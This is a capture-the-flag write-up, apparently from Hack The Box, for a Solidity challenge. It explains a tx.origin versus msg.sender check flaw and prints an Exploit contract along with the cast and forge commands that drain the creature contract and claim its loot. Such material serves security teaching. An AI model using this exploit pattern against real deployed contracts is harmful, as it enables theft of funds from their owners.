$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Smart contract creature with 1000 HP that requires specific conditions to damage. Solution: Exploit tx.origin vs msg.sender difference by setting aggro directly, then attacking through an intermediary contract to bypass the _isOffBalance() check.
We are given a smart contract of a creature with 1000 health points. Our task is to reduce its health to zero and claim the "loot", which marks the challenge as solved.
The challenge presents two main contracts: Setup.sol and Creature.sol.
The contract contains the following key elements:
lifePoints: initial value of 1000.aggro: the address that first attacked the creature.attack(uint256 _damage): function to deal damage._isOffBalance(): helper function that checks the condition tx.origin != msg.sender.function attack(uint256 _damage) external { if (aggro == address(0)) { aggro = msg.sender; } if (_isOffBalance() && aggro != msg.sender) { lifePoints -= _damage; } else { lifePoints -= 0; } }
Conditions for dealing damage:
_isOffBalance() must be true, meaning tx.origin != msg.sender. This occurs when the contract is called by another contract, not directly by a user.aggro != msg.sender: the current caller (msg.sender) must not be the one holding "aggro".The vulnerability lies in the aggro check logic and the use of tx.origin.
tx.origin is the wallet address that initiated the transaction.msg.sender is the address of the immediate call sender.If we call attack through an intermediary exploit contract, then msg.sender will be the exploit's address, while tx.origin will be our wallet. This satisfies the _isOffBalance() condition.
However, if we simply call the exploit first, it will become the aggro, and the condition aggro != msg.sender (where both are the exploit's address) will not be satisfied.
attack(0) directly from our wallet. This sets aggro to our wallet address.attack(1000) through the exploit contract.
msg.sender will be the contract's address.tx.origin will be our wallet.aggro is already set to our wallet.tx.origin != msg.sender (Wallet != Contract) and aggro != msg.sender (Wallet != Contract).loot() to complete the challenge.// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface ICreature { function attack(uint256 _damage) external; function loot() external; } contract Exploit { function kill(address _target) external { ICreature(_target).attack(1000); } }
cast send $TARGET "attack(uint256)" 0 --rpc-url $RPC --private-key $PRIV_KEY
forge create src/Exploit.sol:Exploit --rpc-url $RPC --private-key $PRIV_KEY
cast send $EXPLOIT "kill(address)" $TARGET --rpc-url $RPC --private-key $PRIV_KEY
cast send $TARGET "loot()" --rpc-url $RPC --private-key $PRIV_KEY
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ grep --similar